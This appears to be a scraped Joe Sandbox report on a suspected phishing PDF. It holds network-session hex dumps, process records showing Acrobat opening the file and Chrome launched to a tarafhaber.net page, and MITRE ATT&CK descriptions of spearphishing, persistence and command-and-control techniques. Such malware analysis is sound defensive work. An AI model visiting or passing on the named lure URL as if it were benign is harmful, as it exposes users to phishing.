2024-04-19 14:56:21 UTC	8000	IN	Data Raw: a4 09 f5 82 6c 12 44 6b 84 9a 07 ea 0d 0c c3 20 3d 00 59 2f ba 02 6a 97 ca ee 40 32 07 e2 de 4e a6 ee 34 88 fa d0 5e a8 7a 43 f2 09 a9 a9 a3 f5 dc 54 03 12 bf 93 8d 84 f4 2a 64 0f 69 19 a4 dd 49 8d 4f 6a 82 e2 a3 8e 29 0a 7d e1 b5 bd a0 e3 59 5b 4c 8f f1 43 52 9b 04 a7 2e c4 3c 93 59 b4 0c d2 93 f0 b9 67 6e 38 8e e3 38 8e e3 38 8e e3 38 8e e3 38 8e e3 7c 83 e3 06 06 c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c e7 bf 94 65 6b bd f3 6b a0 89 0a 2a 38 ae 36 40 b9 08 aa 29 74 83 34 93 81 d3 12 aa f5 90 7e 04 e5 7c 50 09 7e 36 85 b8 2e 7b 36 1d aa fb 50 ec 80 e6 0d 1a 01 e5 3d 50 db 83 ee 4f da 20 16 22 47 01 bd 0a 97 55 64 ac 9f 29 3f 93 0f 06 95 50 e7 07 a1 5c 02 51 4e bd 1c d2 ad a0 92 eb 28 cd af 17 e2 ab 10 59 65 fd ba 17 97 a0 9a 46 dc 0e c5 11 3a 0f cd Data Ascii: lDk =Y/j@2N4^zCTdiIOj)}Y[LCR.<Ygn88888\|qqqqqekk86@)t4~\|P~6.{6P=PO "GUd)?P\QN(YeF:
2024-04-19 14:56:21 UTC	8000	IN	Data Raw: 3a 56 8b ff d7 f4 4f 49 5f bf 22 ad b9 ce c6 80 e4 23 52 19 f7 06 48 fe 03 a4 3f 0d c9 06 48 57 42 72 93 7e 99 7e 1c 54 c0 9d dc a2 3f 42 6c 8d 50 49 77 fc db 63 90 7c 4c ff 0a ca ef 85 28 ee ef a4 ff 08 9d d3 a0 fc 77 50 9d 81 64 36 a4 bf 4a 7a 74 5a 27 fe 47 48 45 cf 3f 04 d9 df 86 fc 20 34 86 d2 54 c8 6f 41 b2 19 54 04 5f fc 30 bd 84 72 05 54 b3 e8 63 28 ff 39 74 8e 83 8e 53 f0 ea 67 e0 53 52 b9 7f f5 0f 21 fd 3f 21 7b 4c df 0f 5a 9b bf 3a 0c c5 03 68 fe 55 28 0e 83 5a 02 d4 8a 90 ff 38 b4 dd a4 df 09 8d e7 90 ff 28 a4 9b 20 5b 43 bf 9b e6 80 8a f2 ab 3f 0b c5 bf 86 72 14 fd 4f d0 5c 47 7d a1 73 35 fd 12 3d a5 65 f0 e9 8f d2 12 50 1b 43 f3 27 a0 fa 9b 90 fc 3b a8 fa 81 a6 7f 34 07 d3 8f 43 e7 79 d0 e3 8a 59 19 3f 0c d5 4f 41 72 96 7e 80 7e 1a aa bf 0b Data Ascii: :VOI_"#RH?HWBr~~T?BlPIwc\|L(wPd6JztZ'GHE? 4ToAT_0rTc(9tSgSR!?!{LZ:hU(Z8( [C?rO\G}s5=ePC';4CyY?OAr~~
2024-04-19 14:56:21 UTC	8000	IN	Data Raw: 6d f4 88 c6 42 b2 9b b4 69 d4 60 a3 c2 fa 5b 74 16 aa e3 90 ac 82 2a 81 f2 18 a8 e1 44 3f 99 66 a0 56 8a 74 05 ad 85 6a 2e 6d 05 6d ab 72 3c 54 1b 68 18 24 93 20 db 4b 67 a1 b1 14 f2 dd d0 98 07 f9 5d d0 ec 85 ec 39 f1 27 d3 a3 90 1d 27 36 33 a4 fb 20 5b 00 d1 42 f0 92 fa d3 2a d0 6c 8a 98 e4 70 9a 12 1a 0b 8d b9 a0 66 89 c6 0a c8 17 d0 24 ea 49 6a 20 61 d3 88 26 72 68 5e 47 fa 21 dd a3 9d 90 7c 44 9c 46 f2 5a d3 82 67 2c 38 8e e3 38 8e e3 38 8e e3 38 8e e3 38 8e e3 7c 87 27 ff 39 c6 1b c2 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 79 af 93 52 1b 7d 0f 0d a2 3f 00 e9 bf a3 9f a7 99 d4 46 ff 17 fa bf 43 d6 a4 1e f4 3d b4 9d 94 5f a3 bb f4 8f 21 1d 42 2c 31 4f 17 d1 3f a3 7f 4a b7 e8 cf d0 07 f4 7b 20 d6 a7 ff 1d f4 53 90 5f 00 cd 79 68 fc 01 fa 31 68 fb Data Ascii: mBi`[tD?fVtj.mmr<Th$ Kg]9''63 [Blpf$Ij a&rh^G!\|DFZg,88888\|'9qqqqqyR}?FC=_!B,1O?J{ S_yh1h
2024-04-19 14:56:21 UTC	8000	IN	Data Raw: f5 e7 85 f7 ff 5d 49 7d cb d7 9f fb ea cf 20 5f cd f9 e5 d6 0b c7 71 1c c7 71 1c c7 71 9c 77 10 37 30 38 8e e3 38 8e e3 38 8e e3 7c 93 a2 0f 1a 55 76 a3 52 9b ab 74 f9 33 d5 25 48 ae 90 be 77 f5 33 d5 35 48 ae d7 dc 20 95 c2 a8 cc 45 1f 40 d6 4b 6d f4 9d fa 47 bf f5 8f 36 f5 b1 a5 3e 14 d4 4f f2 5f 45 b9 ed 60 a8 e6 43 dc 9a 3e ec e4 f7 93 d1 90 8e 05 7d 1d e5 b9 fa 49 7d dc a8 8f 33 f5 a8 eb 25 62 2c d9 89 06 06 3d 52 b5 2b e8 71 e9 83 5b 7d b8 5b ff 80 56 f7 bc 7e 1f 54 a0 a3 df 3b 12 d2 51 90 8c 21 dd 2b 95 0b eb c3 5a 45 f7 47 1f 0c b7 16 3f f1 eb 28 2f a8 17 8c d6 4b 8e f4 b5 4a 8e 1e 40 dc 66 bd d8 a8 2b ad 25 fe f5 c7 a5 fb 59 df 2f ad e5 23 6f 2e 76 af 17 78 e9 11 71 ab 56 37 20 0a 61 b9 f7 d3 41 10 1f 6f 6b 0b d7 6f 8d 5f 57 f4 da 6f 6f fd 98 bf Data Ascii: ]I} _qqqw70888\|UvRt3%Hw35H E@KmG6>O_E`C>}I}3%b,=R+q[}[V~T;Q!+ZEG?(/KJ@f+%Y/#o.vxqV7 aAoko_Woo
2024-04-19 14:56:21 UTC	8000	IN	Data Raw: 19 a4 d2 84 fb 10 2b e2 73 b5 f2 58 cd 94 65 4c 5a 5b 57 6b a3 c6 14 0b 7d 10 ce 6d ae fb 93 2f 84 c6 21 d0 2a b9 f1 d1 3e 0b d4 b4 ba 70 63 06 e4 13 a0 71 00 e2 b8 7a 02 fa 50 3f 8e bd de 10 ab c0 ea b1 e8 dc d7 31 c0 d2 fc ea 19 a8 4c 2a d6 4b ce a0 73 37 0d 83 e6 60 e8 9c 49 cb a0 b9 1d 62 b5 c8 67 10 05 9d da 9b 2a 0b e3 9a 94 2a 81 cd 96 13 d7 aa 54 d1 49 14 e0 ea 9e 70 7d f1 28 c3 d2 4a ae 2c de 8d 95 4a b5 37 b5 0a 2f 8b 3e 63 95 59 16 c8 46 c1 a2 d6 9b d4 ef 65 ab 92 8e 55 ad e6 18 57 18 4d 27 60 39 85 8a 68 e3 58 65 69 54 4c 96 38 41 9a 79 c2 d5 88 55 58 16 2b 94 5f 03 15 a9 34 ce d1 08 68 1b 07 ba 56 34 ba 43 34 47 71 a5 ed ac 03 d2 ad a0 d9 2f 2a c7 51 09 8b ca 1c 9b e3 e8 24 a8 50 af 79 11 54 fe ae b5 4e d5 cc a0 52 42 95 88 45 41 30 8f 37 b5 Data Ascii: +sXeLZ[Wk}m/!>pcqzP?1LKs7`Ibg*TIp}(J,J7/>cYFeUWM'`9hXeiTL8AyUX+_4hV4C4Gq/Q$PyTNRBEA07
2024-04-19 14:56:21 UTC	8000	IN	Data Raw: 1a 91 dd 60 90 63 8e 14 d4 3c 61 3e 47 ca cc 4e af 98 27 7a 37 88 ce 1e 73 cc ac 17 bd 37 45 54 1b 1b 27 a2 42 08 92 6e 24 f2 de c9 67 77 9b fb 0c b3 f4 db 22 c4 e5 96 15 92 eb 8f 78 34 ac 83 ae f8 11 67 19 af 6e b1 03 a7 37 d2 5b 10 d3 bb 27 90 3f 4d 1f 2e 1f 16 61 fc 73 56 34 33 30 73 32 15 bd 62 97 3b 49 74 2e 89 de fd 82 79 23 df 2a a2 1a 83 65 ca 48 c0 8b b7 8c af 4c f1 ac 88 0a 2a 96 39 46 d5 3b df a9 30 7b fb 2e 44 d5 2c 4e 46 ec 48 11 44 7a 26 67 c6 ee cf 11 55 83 6b 58 2f 10 cd f3 1d ee 16 ec 61 42 dc 69 71 6a ef 3e f1 71 f5 b1 e4 09 11 15 36 3c b2 a8 ab 13 66 2a ce 08 18 4d b1 10 78 d4 5f 35 87 9f 11 dd 69 22 0c 81 37 09 0c a2 51 91 c0 c6 8f eb 32 7b 33 ea 6d 8e 2a 5e 11 5c bd fc 21 b3 cd d8 16 c2 ee 08 39 6c fa a4 a0 c6 0b b3 28 fb 10 be 7f 3e Data Ascii: `c<a>GN'z7s7ET'Bn$gw"x4gn7['?M.asV430s2b;It.y#eHL9F;0{.D,NFHDz&gUkX/aBiqj>q6<fMx_5i"7Q2{3m^\!9l(>
2024-04-19 14:56:21 UTC	8000	IN	Data Raw: 91 e4 4a d5 02 c4 3d 08 ee 49 aa 8e d7 d8 96 43 35 47 0a d2 55 e3 fa 03 d2 61 ee 05 69 6d 48 90 91 47 93 a4 ee 54 63 72 94 43 58 e3 64 53 44 cf 88 4b 3a 3f 2f ba 77 0b e4 d1 fd 07 05 b2 a7 78 99 4a 5a bc 93 41 e3 85 f4 3e 91 ed 16 f4 81 ec cf 8a fc 76 41 12 64 d8 00 fc 12 1d 39 45 e3 25 11 72 de 8b 22 04 07 16 6c 91 34 dc 19 27 7a 9f 17 fd 9f 12 08 a6 fb 7f 5e 34 7e cf fc b4 20 87 35 fb 23 c1 0b 7e 04 dc fc 7b c4 55 24 b6 f2 d3 11 a8 21 10 ec bc 22 ae 2c 32 8f 89 ee df 11 88 45 10 ba f5 bf 49 20 f7 49 fe b1 c8 f6 88 f2 19 81 cc b1 5c 23 a8 cc d0 98 61 90 3e 58 74 45 25 8a ee 62 41 5a 3f 3a a5 fc 87 45 31 cd 38 1b 3b 9f 60 2c f2 40 fc 94 4c 16 03 a7 45 f9 47 86 1c 4a 0b 5c 48 ae 25 19 9a 44 c3 ec b0 40 ac d0 58 2c 48 ae 4d f6 09 52 ba 19 a7 61 42 b8 f5 1d Data Ascii: J=IC5GUaimHGTcrCXdSDK:?/wxJZA>vAd9E%r"l4'z^4~ 5#~{U$!",2EI I\#a>XtE%bAZ?:E18;`,@LEGJ\H%D@X,HMRaB
2024-04-19 14:56:21 UTC	8000	IN	Data Raw: 4b 96 27 e2 bc 64 af c0 0e c4 98 65 94 35 27 09 7a 69 f3 45 81 2c 09 c9 26 a9 b1 c5 a0 c8 1e 14 dc eb 74 ab 48 6e 10 cd c7 44 b2 50 b0 9a 24 ff c1 dc 29 d2 65 e2 63 eb 1b 54 86 b1 8d 04 6d 15 63 33 7a 35 e9 9e 96 6d 21 43 8c a4 cf 63 e6 49 d1 bc 24 b0 ee b0 c6 15 b7 8b 58 89 de 14 dd f3 a2 33 46 90 66 3a 74 9b e8 2c 13 24 6a f7 3e 27 b0 94 20 33 42 da 12 62 32 cf 15 f4 bd d6 49 31 f0 a4 60 a6 1d f9 ba 18 b5 d6 6c 14 23 76 8b 6c 82 68 9c 15 c5 8b a2 77 ce 38 f9 98 99 b6 7f 97 b1 b8 16 5b 57 b2 5e 94 6d d1 7d 53 24 5d c1 1d 41 60 84 08 3e ff 8f c6 42 31 0c 5d e9 4e 91 6c 16 98 15 b1 ff f5 d7 88 98 6f 7d df b3 17 44 eb 80 e0 53 8c b8 55 8c 5c 23 06 0d 3d 10 9b 16 06 83 de 6a d1 d9 66 8e 8b 64 9c 68 3c 26 fa 7f 4e 60 78 eb 2f 12 d4 08 ea 17 a2 fc 3e d1 ff 15 Data Ascii: K'de5'ziE,&tHnDP$)ecTmc3z5m!CcI$X3Ff:t,$j>' 3Bb2I1`l#vlhw8[W^m}S$]A`>B1]Nlo}DSU\#=jfdh<&N`x/>
2024-04-19 14:56:21 UTC	8000	IN	Data Raw: 2b 0c 44 1d 06 ef 99 91 c0 56 f7 60 71 a7 aa 7d cc 3b 9f 90 b6 23 d8 ad 82 14 fb c3 9d bd 31 30 60 6f 70 55 ae c4 50 5b 29 be 9b 85 e0 e9 64 33 ed 1d b2 c9 82 fe 19 73 9d b3 ba ab f3 1e 95 46 d8 0f c4 7a 84 b9 ee 7f 19 5f 37 6a 1d 50 67 29 ea 05 21 7d a6 fa 1f 33 b3 6d 15 31 ef b9 86 43 cc 79 67 0c 15 15 9c c7 8f c5 25 4d 44 9c ec 6c 7b 48 1f 32 ec 40 5c b1 07 f9 75 98 16 fe 91 88 d5 f9 93 76 16 78 ef fb bd f7 92 c8 58 31 c8 85 7c dc 33 76 54 37 1a 25 c2 bc 7a 93 e8 9e 33 1b cc 41 73 83 e8 dd 25 48 6d ef de 6b 5e 36 9f 33 4f 8a ce 53 e6 8c 60 05 a1 c2 5e ff 56 d1 7c d2 d8 3a 92 cc 17 e9 bf 10 9d 7f 65 0e 1a 04 d6 37 9a 95 a2 3b 5a f0 1c 23 6c 06 b6 a5 95 5b 44 ff 65 11 86 40 ae 24 e7 59 62 2c 18 11 cc ba 9c 71 a8 41 c1 15 ab d8 e3 c3 62 6a 63 43 cc e1 6f Data Ascii: +DV`q};#10`opUP[)d3sFz_7jPg)!}3m1Cyg%MDl{H2@\uvxX1\|3vT7%z3As%Hmk^63OS`^V\|:e7;Z#l[De@$Yb,qAbjcCo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49768	40.127.169.103	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:56:45 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=UOse9dHCRbAZXnp&MD=2n+wELZu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-19 14:56:46 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: 6ca156ee-eece-4405-973f-00ddaf004f9e MS-RequestId: 2b8edda3-d644-4cb7-a5c0-36d86668c32d MS-CV: hjXBGQa0202D9dJE.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 19 Apr 2024 14:56:45 GMT Connection: close Content-Length: 25457
2024-04-19 14:56:46 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-04-19 14:56:46 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49771	35.190.80.1	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:57:18 UTC	552	OUT	OPTIONS /report/v4?s=%2BKDF%2BuRcUWfyocdeXni9QQOsnK8ZJMyenZQrxLU1tTbaDhpcgMLdn%2BxbwJwqqFp6T5dTLXX%2BQV%2Fu8C%2FNYcA%2B5f%2FXkuatJPFC1vBmWQ9DQflf1ugkcUTxKhxe23GuwPQUM8kAdFBa HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://3245.tarafhaber.net Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:57:18 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Fri, 19 Apr 2024 14:57:18 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49772	35.190.80.1	443	7680	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 14:57:18 UTC	490	OUT	POST /report/v4?s=%2BKDF%2BuRcUWfyocdeXni9QQOsnK8ZJMyenZQrxLU1tTbaDhpcgMLdn%2BxbwJwqqFp6T5dTLXX%2BQV%2Fu8C%2FNYcA%2B5f%2FXkuatJPFC1vBmWQ9DQflf1ugkcUTxKhxe23GuwPQUM8kAdFBa HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 444 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-19 14:57:18 UTC	444	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 37 32 36 32 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 35 39 32 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 33 32 34 35 2e 74 61 72 61 66 68 61 62 65 72 2e 6e 65 74 2f 33 35 31 2d 68 34 36 2e 68 74 6d 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 33 34 2e 31 38 39 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 Data Ascii: [{"age":57262,"body":{"elapsed_time":592,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://3245.tarafhaber.net/351-h46.htm","sampling_fraction":1.0,"server_ip":"172.67.134.189","status_code":404,"type":"http.error"},"type":"ne
2024-04-19 14:57:19 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Fri, 19 Apr 2024 14:57:19 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	16:55:48
Start date:	19/04/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\MAT 4230 TRF DE VILLIERS YOUR REF 24892 OUR REF 23921.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:55:49
Start date:	19/04/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:55:49
Start date:	19/04/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1592,i,16362492344123580120,5216236964409880840,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:56:13
Start date:	19/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://3245.tarafhaber.net/351-h46.htm"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:56:14
Start date:	19/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2000,i,8032877187666766486,1682355500134158436,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report MAT 4230 TRF DE VILLIERS YOUR REF 24892 OUR REF 23921.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

